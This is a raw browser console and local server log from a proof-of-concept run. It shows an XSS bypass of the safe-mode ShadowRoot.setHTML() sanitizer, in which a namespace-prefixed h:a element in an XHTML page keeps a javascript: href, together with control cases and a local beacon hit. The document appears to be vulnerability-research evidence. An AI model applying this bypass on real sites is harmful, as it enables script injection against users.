[108:108:0530/022724.170655:INFO:CONSOLE:12] "[*] document.contentType = application/xhtml+xml", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.170756:INFO:CONSOLE:12] "[*] calling ShadowRoot.setHTML() (SAFE mode, default sanitizer) with:", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.170806:INFO:CONSOLE:12] " bypass-link", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.170857:INFO:CONSOLE:12] "[*] resulting element: prefix="h" namespaceURI="http://www.w3.org/1999/xhtml"", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.170919:INFO:CONSOLE:12] "[*] resulting href attribute: "javascript:window.__xss_fired++;void(0)"", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.170981:INFO:CONSOLE:12] "[!] BYPASS CONFIRMED: javascript: href survived safe-mode setHTML()", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.467945:INFO:CONSOLE:12] "[!] XSS EXECUTED: javascript: URL ran in page origin (window.__xss_fired=1)", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.468007:INFO:CONSOLE:12] "[*] CONTROL (unprefixed ): href after setHTML = null", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.468041:INFO:CONSOLE:12] " -> sanitizer correctly stripped unprefixed case; only prefixed bypasses", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.468079:INFO:CONSOLE:12] "[*] VARIANT (prefixed SVG ): href = "javascript:window.__xss_fired++;void(0)"", source: http://127.0.0.1:8080/poc.xhtml (12)
[108:108:0530/022724.469077:INFO:CONSOLE:12] "[*] done. title=POC-SUCCESS", source: http://127.0.0.1:8080/poc.xhtml (12)
--- server.log ---
[SERVER] listening on http://127.0.0.1:8080/
[SERVER] "HEAD /poc.xhtml HTTP/1.1" 200 -
[SERVER] "GET /poc.xhtml HTTP/1.1" 200 -
[SERVER] code 404, message File not found
[SERVER] "GET /favicon.ico HTTP/1.1" 404 -
[SERVER] *** XSS BEACON RECEIVED: /xss-fired?via=h:a ***
[SERVER] "POST /xss-fired?via=h:a HTTP/1.1" 204 -